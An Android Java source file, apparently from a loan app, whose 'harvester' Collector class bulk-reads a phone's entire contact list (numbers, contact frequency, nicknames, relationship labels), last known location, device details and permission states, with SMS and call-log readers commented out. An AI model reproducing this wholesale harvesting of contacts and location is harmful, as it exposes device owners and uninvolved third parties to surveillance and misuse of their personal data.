package com.flashcash.solu.harvester.collectin;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.location.Location;
import android.location.LocationManager;
import android.os.Build;
import android.provider.ContactsContract;
import android.support.v4.content.PermissionChecker;
import android.text.TextUtils;

import com.annimon.stream.Optional;
import com.flashcash.solu.harvester.ServerTimeUtils;
import com.flashcash.solu.harvester.collectin.entity.CallLogEntity;
import com.flashcash.solu.harvester.collectin.entity.ContactEntity;
import com.flashcash.solu.harvester.collectin.entity.SmsEntity;
import com.flashcash.solu.harvester.uploadout.UploadUtils;

import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import org.litepal.LitePal;

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class Collector {

    enum CollectType {
        CONTACT,
//        CALL_LOG,
        //SMS_LOG
    }
    private static Context context;
    private static ContentResolver resolver;

    private static LocationManager mLocationManager;

    //FIXME 注意检查是否主进程
    public static void init(Context ctx){
        LitePal.initialize(ctx);
        SQLiteDatabase db = LitePal.getDatabase();

        if(ctx == null){
            throw new IllegalArgumentException("context cannot be null");
        }

        context = ctx;
        resolver = ctx.getContentResolver();

        mLocationManager = (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
    }
    @SuppressLint("MissingPermission")
    public static List<ContactEntity> getContacts(){

        List<ContactEntity> logs = new ArrayList<>();
        Cursor cursor = null;
        try{
            cursor = Nested.getCursor(CollectType.CONTACT);

            if(cursor == null){
                return logs;
            }
            Map<Long,List<ContactEntity.NumberEntity>> contactIdNumbersMap =  Nested.queryAllContactNumbers();
            Map<Long,ContactEntity.ContactDetail> contactDetailMap = Nested.queryAllContactDetail();

            while (cursor.moveToNext()){
                Optional<ContactEntity> oneOpt = Nested.getOneContact(cursor, contactIdNumbersMap, contactDetailMap);
                if(oneOpt.isPresent()){
                    logs.add(oneOpt.get());
                }
            }

            cursor.close();

        } catch (Exception e){
            e.printStackTrace();
            UploadUtils.uploadException(e, "Collector.getContacts");
        } finally {
            if(cursor != null && !cursor.isClosed()){
                cursor.close();
            }
        }

        return logs;
    }

    @SuppressLint("MissingPermission")
    public static List<CallLogEntity> getCallLogs(int maxCount){
        long startTime = System.currentTimeMillis();
        List<CallLogEntity> logs = new ArrayList<>();
//        Cursor cursor = null;
//        try{
//            cursor = Nested.getCursor(CollectType.CALL_LOG);
//
//            if(cursor == null){
//                return logs;
//            }
//
//            while (cursor.moveToNext()){
//                Optional<CallLogEntity> oneOpt = Nested.getOneCallLog(cursor);
//                if(oneOpt.isPresent()){
//                    logs.add(oneOpt.get());
//                }
//
//                if(logs.size() >= maxCount){
//                    break;
//                }
//            }
//            Log.d("caculate_time", "Collector getCallLogs time"+(System.currentTimeMillis() - startTime));
//
//        } catch (Exception e){
//            e.printStackTrace();
//            UploadUtils.uploadException(e, "Collector.getCallLogs");
//        }finally {
//            if(cursor != null && !cursor.isClosed()){
//                cursor.close();
//            }
//        }

        return logs;
    }

    @SuppressLint("MissingPermission")
//    public static List<SmsEntity> getSms(int maxCount){
//        long startTime = System.currentTimeMillis();
//        List<SmsEntity> logs = new ArrayList<>();
//
//        Cursor cursor = null;
//        try{
//            cursor = Nested.getCursor(CollectType.SMS_LOG);
//
//            if(cursor == null){
//                return logs;
//            }
//            while (cursor.moveToNext()){
//                Optional<SmsEntity> oneOpt = Nested.getOneSms(cursor);
//                if(oneOpt.isPresent()){
//                    logs.add(oneOpt.get());
//                }
//
//                if(logs.size() >= maxCount){
//                    break;
//                }
//            }
//            Log.d("caculate_time", "Collector getSms time"+(System.currentTimeMillis() - startTime));
//
//        } catch (Exception e){
//            e.printStackTrace();
//            //UploadUtils.uploadException(e, "Collector.getSms");
//        } finally {
//            if(cursor != null && !cursor.isClosed()){
//                cursor.close();
//            }
//        }
//
//        return logs;
//    }

    public static JSONObject getMachineType(){
        JSONObject map = new JSONObject();

        try {
            map.put("deviceBrand", Build.BRAND);
            map.put("deviceType", Build.MODEL);
            map.put("systemVersion", Build.VERSION.RELEASE);
        } catch (JSONException e) {
            e.printStackTrace();
            UploadUtils.uploadException(e, "Collector.getMachineType");
        }

        return map;
    }

    private static String[] permissionsTocheck = {
            Manifest.permission.READ_CONTACTS,
//            Manifest.permission.READ_CALL_LOG,
//            Manifest.permission.READ_SMS,
            Manifest.permission.ACCESS_COARSE_LOCATION,//粗精度定位
            Manifest.permission.ACCESS_FINE_LOCATION,//卫星定位
            Manifest.permission.READ_PHONE_STATE

    };
    public static JSONArray getPermissionState(){

        JSONArray array = new JSONArray();

        long checkTime = ServerTimeUtils.getServerTime();

        for(int i = 0; i < permissionsTocheck.length; i++) {
            try {
                JSONObject object = new JSONObject();
                object.put("checkTime", checkTime);
                object.put("permissionType", permissionsTocheck[i]);

                if (permissionGranted(permissionsTocheck[i], context)) {
                    object.put("isGranted", "GRANTED");
                }else {
                    object.put("isGranted", "REFUSED");
                }

                array.put(object);

            }catch (JSONException e) {
                e.printStackTrace();
                UploadUtils.uploadException(e, "Collector.getPermissionState");
            }

        }

        return array;
    }

    @SuppressLint("MissingPermission")
    public static Location getLocation(){

        Location loc = null;

        List<String> providers = mLocationManager.getProviders(true);

        if (loc == null && providers.contains(LocationManager.GPS_PROVIDER)) {
            loc = mLocationManager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
        }

        if (loc == null && providers.contains(LocationManager.NETWORK_PROVIDER)) {
            loc = mLocationManager.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
        }

        if (loc == null && providers.contains(LocationManager.PASSIVE_PROVIDER)) {
            loc = mLocationManager.getLastKnownLocation(LocationManager.PASSIVE_PROVIDER);
        }

        return loc;
    }

    public static boolean permissionGranted(String permission , Context ctx) {
        if(permission == null){
            return true;
        }
        return Build.VERSION.SDK_INT < 23 || PermissionChecker.checkSelfPermission(ctx, permission) == PackageManager.PERMISSION_GRANTED;
    }

    private static class Nested{
        @SuppressLint("MissingPermission")
        private static Cursor getCursor(CollectType type) {

            if(resolver == null){
                return null;
            }
            switch (type) {
                case CONTACT:
                    return resolver.query(ContactsContract.Contacts.CONTENT_URI,
                            null, null, null, null);

//                case CALL_LOG:
//                    return resolver
//                            .query(CallLog.Calls.CONTENT_URI,
//                                    new String[]{CallLog.Calls.CACHED_NAME,
//                                            CallLog.Calls.NUMBER,
//                                            CallLog.Calls.TYPE,
//                                            CallLog.Calls.DATE,
//                                            CallLog.Calls.DURATION},
//                                    null,
//                                    null,
//                                    CallLog.Calls.DEFAULT_SORT_ORDER);
//
//                case SMS_LOG:
//                    return resolver.query(Uri.parse("content://sms"), new String[]{
//                                    "person", //reference to item in {@code content://contacts/people}
//                                    "address", //The address of the other party.
//                                    "type",
//                                    "date",
//                                    "body",
//                                    "subject"},
//                            null,
//                            null,
//                            "date DESC");
                default:
                    return null;

            }
        }

        private static Optional<CallLogEntity> getOneCallLog(Cursor cursor){
            try {
                String cachedName = cursor.getString(0);
                String number = cursor.getString(1);
                int type = cursor.getInt(2);
                long date = cursor.getLong(3);
                long duration = cursor.getLong(4);

                return Optional.of(
                        new CallLogEntity(){{
                            setCachedName(cachedName);
                            setNumber(number);
                            setType(type);
                            setDate(date);
                            setDuration(duration);
                        }});
            }catch (Exception e){
                return Optional.empty();
            }
        }

        //do not close the cursor
        private static Optional<ContactEntity> getOneContact(Cursor cursor,
                                                   Map<Long,List<ContactEntity.NumberEntity>> contactIdNumbersMap,
                                                   Map<Long,ContactEntity.ContactDetail> contactDetailMap){
            try {
                String name = cursor.getString(cursor.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME));
                long lastUpdate = readLastUpdateTime(cursor);

                long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.Contacts._ID));

                List<ContactEntity.NumberEntity> numbers = contactIdNumbersMap.get(contactId);

                ContactEntity.ContactDetail detail = contactDetailMap.get(contactId);

                ContactEntity entity = new ContactEntity(){{
                    setName(name);
                    setLastUpdate(lastUpdate);

                    setNumber(numbers);

                    if(detail!= null){
                        setContact_times(detail.getContact_times());
                        setLast_contact_time(detail.getLast_contact_time());
                        setNickname(detail.getNickname());
                        setRelation(detail.getRelation());
                        setStatus(detail.getStatus());
                    }
                }};

                return Optional.of(entity);

            } catch (Exception e){
                UploadUtils.uploadException(e, "Collector.getOneContact");

                return Optional.empty();
            }
        }

        private static Optional<SmsEntity> getOneSms(Cursor cursor){

//            "person", //reference to item in {@code content://contacts/people}
//                    "address", //The address of the other party.
//                    "type",
//                    "date",
//                    "body",
//                    "subject"},

            try {
                String address = cursor.getString(1);
                int type = cursor.getInt(2);
                long date = cursor.getLong(3);
                String body = cursor.getString(4);
                String subject = cursor.getString(5);

                return Optional.of(
                        new SmsEntity(){{
                            setAddress(address);
                            setType(type);
                            setDate(date);
                            setBody(body);
                            setSubject(subject);
                        }});
            }catch (Exception e){
                UploadUtils.uploadException(e, "Collector.getOneSms");
                return Optional.empty();
            }
        }

        private static long readLastUpdateTime(Cursor cursor){
            long lastUpdateTime = 0;

            int index = cursor.getColumnIndex("contact_last_updated_timestamp");

            if(index > -1){
                return cursor.getLong(index);
            }

            index = cursor.getColumnIndex("contact_status_ts");
            if(index > -1){
                return cursor.getLong(index);
            }

            return lastUpdateTime;
        }

        private static Map<Long,List<ContactEntity.NumberEntity>> queryAllContactNumbers(){

            Map<Long,List<ContactEntity.NumberEntity>> idNumbersMap = new HashMap<>();
            Cursor cursor = null;
            try {
                cursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                        null,
                        null,
                        null,
                        null);

                if(cursor == null){
                    return idNumbersMap;
                }

                while (cursor.moveToNext()){
                    final long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.CONTACT_ID));

                    Optional<ContactEntity.NumberEntity> entityOpt = readOneNumber(cursor);

                    if(!entityOpt.isPresent()){
                        continue;
                    }

                    List<ContactEntity.NumberEntity> numbers = idNumbersMap.get(contactId);
                    if(numbers == null){
                        List<ContactEntity.NumberEntity> init = new ArrayList<>();
                        init.add(entityOpt.get());
                        idNumbersMap.put(contactId, init);
                    }else{
                        numbers.add(entityOpt.get());
                    }
                }

                cursor.close();
            } catch (Exception e){
                UploadUtils.uploadException(e, "Collector.queryAllContactNumbers");
            } finally {
                if (cursor != null && !cursor.isClosed()) {
                    cursor.close();
                }
            }
            return idNumbersMap;
        }

        private static Optional<ContactEntity.NumberEntity> readOneNumber(Cursor cursor){
            try{
                final String number = readNumber(cursor);
                int contactTimes = readContactTimes(cursor);
                long lastContactTime = readLastContactTime(cursor);

                String customerData = readCustomerData(cursor);

                ContactEntity.NumberEntity entity = new ContactEntity.NumberEntity(){{
                    setNumber(number);
                    setLast_time_used(""+lastContactTime);
                    setTime_used(contactTimes);
                    setType_label( customerData == null ? "" : customerData);
                }};

                return Optional.of(entity);
            } catch (Exception e){
                UploadUtils.uploadException(e, "Collector.readOneNumber");
                return Optional.empty();
            }
        }

        private static long readLastContactTime(Cursor cursor){

            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR2) {
                int index = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.LAST_TIME_USED);
                if(index > -1){
                    return cursor.getLong(index);
                }
            }else{
                int index = cursor.getColumnIndex("last_time_contacted");
                if(index > -1){
                    return cursor.getLong(index);
                }
            }

            return 0;
        }

        private static String readCustomerData(Cursor cursor){

            int data2Index = cursor.getInt(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.DATA2));
            if(data2Index > -1){
                CharSequence typeLabel = ContactsContract.CommonDataKinds.Phone.getTypeLabel(context.getResources(), data2Index, "CUSTOME");
                if(typeLabel != null){
                    return typeLabel.toString();
                }
            }

            return "";
        }

        private static String readNumber(Cursor cursor){
            String number = cursor.getString(cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
            if (!TextUtils.isEmpty(number)) {
                number = number.replace("-", "");
                number = number.replace(" ", "");
            }
            return number;
        }

        private static int readContactTimes(Cursor cursor){

            if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.JELLY_BEAN_MR2) {
                int index = cursor.getColumnIndex(ContactsContract.CommonDataKinds.Phone.TIMES_USED);
                if(index > -1){
                    return cursor.getInt(index);
                }
            }else{
                int index = cursor.getColumnIndex("times_contacted");
                if(index > -1){
                    return cursor.getInt(index);
                }
            }

            return  0;
        }

        private static Map<Long,ContactEntity.ContactDetail> queryAllContactDetail(){

            Map<Long,ContactEntity.ContactDetail> contactIdDetailMap = new HashMap<>();

            try {
                Cursor cursor = resolver.query(ContactsContract.Data.CONTENT_URI,
                        null,
                        null,
                        null,
                        null);

                if(cursor == null){
                    return contactIdDetailMap;
                }

                while (cursor.moveToNext()){

                    try {
                        ContactEntity.ContactDetail detail = new ContactEntity.ContactDetail();

                        final long contactId = cursor.getLong(cursor.getColumnIndex(ContactsContract.Data.CONTACT_ID));
                        int contactTimes = cursor.getInt(cursor.getColumnIndex(ContactsContract.Data.TIMES_CONTACTED));
                        String status = cursor.getString(cursor.getColumnIndex(ContactsContract.Data.CONTACT_STATUS));
                        long lastContact = cursor.getLong(cursor.getColumnIndex(ContactsContract.Data.LAST_TIME_CONTACTED));

                        detail.setContact_times(contactTimes);
                        detail.setLast_contact_time(lastContact);
                        detail.setStatus(status);

                        int columnIndex = cursor.getColumnIndex("nickname");
                        if (columnIndex > -1) {
                            String nicky = cursor.getString(columnIndex);
                            detail.setNickname(nicky);
                        }
                        columnIndex = cursor.getColumnIndex("data2");
                        if (columnIndex > -1) {
                            String relationShip = cursor.getString(columnIndex);
                            detail.setRelation(relationShip);
                        }

                        contactIdDetailMap.put(contactId, detail);
                    } catch (Exception e){
                        UploadUtils.uploadException(e, "Collector.queryAllContactDetail.while");
                    }
                }

                cursor.close();

            }catch (Exception e){
                UploadUtils.uploadException(e, "Collector.queryAllContactDetail");
            }

            return contactIdDetailMap;
        }


//        private static ContactEntity.ContactDetail queryContactDetail(long contactId){
//            ContactEntity.ContactDetail detail = new ContactEntity.ContactDetail();
//
//            Cursor cursor = resolver.query(ContactsContract.Data.CONTENT_URI,
//                    null,
//                    ContactsContract.Data.CONTACT_ID + " = " + contactId,
//                    null,
//                    null);
//
//            if(cursor == null){
//                return detail;
//            }
//
//            if (cursor.moveToNext()){
//                int contactTimes = cursor.getInt(cursor.getColumnIndex(ContactsContract.Data.TIMES_CONTACTED));
//                String status = cursor.getString(cursor.getColumnIndex(ContactsContract.Data.CONTACT_STATUS));
//                long lastContact = cursor.getLong(cursor.getColumnIndex(ContactsContract.Data.LAST_TIME_CONTACTED));
//
//                detail.setContact_times(contactTimes);
//                detail.setLast_contact_time(lastContact);
//                detail.setStatus(status);
//
//                int columnIndex = cursor.getColumnIndex("nickname");
//                if (columnIndex > -1) {
//                    String nicky = cursor.getString(columnIndex);
//                    detail.setNickname(nicky);
//                }
//                columnIndex = cursor.getColumnIndex("data2");
//                if (columnIndex > -1) {
//                    String relationShip = cursor.getString(columnIndex);
//                    detail.setRelation(relationShip);
//                }
//            }
//
//            cursor.close();
//
//            return detail;
//        }

    }
}
